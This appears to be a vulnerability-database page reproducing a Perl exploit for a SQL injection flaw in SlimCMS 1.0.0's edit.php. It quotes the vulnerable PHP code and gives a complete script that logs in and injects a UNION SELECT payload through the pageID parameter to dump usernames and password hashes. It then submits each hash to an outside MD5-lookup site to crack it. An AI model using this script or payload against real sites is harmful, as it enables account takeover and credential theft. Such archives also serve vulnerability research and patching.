Lucene search
K

SlimCMS <= 1.0.0 (edit.php) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

Remote SQL Injection exploit for SlimCMS <= 1.0.

Code

                                                #!/usr/bin/perl

=starting

 --------------------------------------------------------
 SlimCMS &#60;= 1.0.0 (edit.php) Remote SQL Injection Exploit
 --------------------------------------------------------
 by athos - staker[at]hotmail[dot]it
 
 download on sourceforge 
 
 
 File edit.php
 
 111. if ($password == md5($_POST[&#39;password&#39;]))
 112. {
 113.    if (strlen($_POST[&#39;cmsText&#39;]) &#62; 2) {
 114. $query  = &#34;UPDATE pages SET title = &#39;&#34;.$_POST[&#39;pageTitle&#39;].&#34;&#39;, content =  &#39;&#34;.
      strip_tags(stripslashes($_POST[&#39;cmsText&#39;]),$allowedTags).&#34;&#39; WHERE ID = &#34;.$_GET[&#39;pageID&#39;];
 115. mysql_query($query);
 116. //$successfulyUpdated
 117. responseText = $successfulyUpdated;
 118. }
 119.
 120. if (strlen($_GET[&#39;pageID&#39;]) &#62; 0) {
 121. $query  = &#34;SELECT * FROM pages WHERE ID = &#34;.$_GET[&#39;pageID&#39;];
 122. $result = mysql_query($query);
 123.
 124.				
 125. while($row = mysql_fetch_array($result)) {
 126.	$pageTitle = $row[&#39;title&#39;];
 127.	$pageContent = $row[&#39;content&#39;];
 128.  }
 129. }
 
 NOTE: Works Regardless PHP.ini Settings!
 
  
  you must be logged..
  
  Usage: perl &#34;exploit.pl&#34; [HOST] [username:password] [USER_ID]
  
  Output: Username: athos
          Password: 27e43424d53719a645ae7cca038b45be
 
 

=cut

use strict;
use LWP::UserAgent;
use LWP::Simple;

my $match = q{Editing page &#34;(.+?)&#34;};
my $http = new LWP::UserAgent; 
my $post = undef;
my @login = ();
my @out = ();

my ($host,$auth,$myid) = @ARGV;

unless($host =~ /http:\/\/(.+?)$/i && $auth && $myid)
{
    print STDOUT &#34;Usage: perl $0 [host/path] [username:password] [id]\r\n&#34;; 
    exit;
} 

$host .= &#34;/edit.php?pageID=-1 union select 1,concat(username,0x3a,password),3,4 from users where id=$myid#&#34;;

@login = split(&#39;:&#39;,$auth);

$post = $http-&#62;post($host,[ 
                            username =&#62; $login[0],
                            password =&#62; $login[1],
                         ]);


if($post-&#62;is_success && $post-&#62;content =~ $match) 
{
    @out = split(&#39;:&#39;,$1);
   
    if($#out =&#62; 2)
    {
        my $cracked = search_MD5($out[1]);
        
        print STDOUT &#34;Username: $out[0]\r\n&#34;;
        print STDOUT &#34;Password: $out[1] -&#62; $cracked\r\n&#34;;
        exit;  
   }
   else
   {
       print STDOUT &#34;Exploit Failed!\r\n&#34;;
       print STDOUT &#34;Login incorrect or site not vulnerable\\available!\r\n&#34;;
       exit;
   }
}


sub search_MD5
{
    my $hash = shift @_;
    my $cont = undef;

    $cont = get(&#39;http://md5.rednoize.com/?p&s=md5&q=&#39;.$hash);
        
    if(length($hash) =&#62; 32 && !is_error($cont))
    {
        return $cont;
    }
    else
    {
        return exit;
    }
}   
    
__END__

# milw0rm.com [2008-11-14]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
13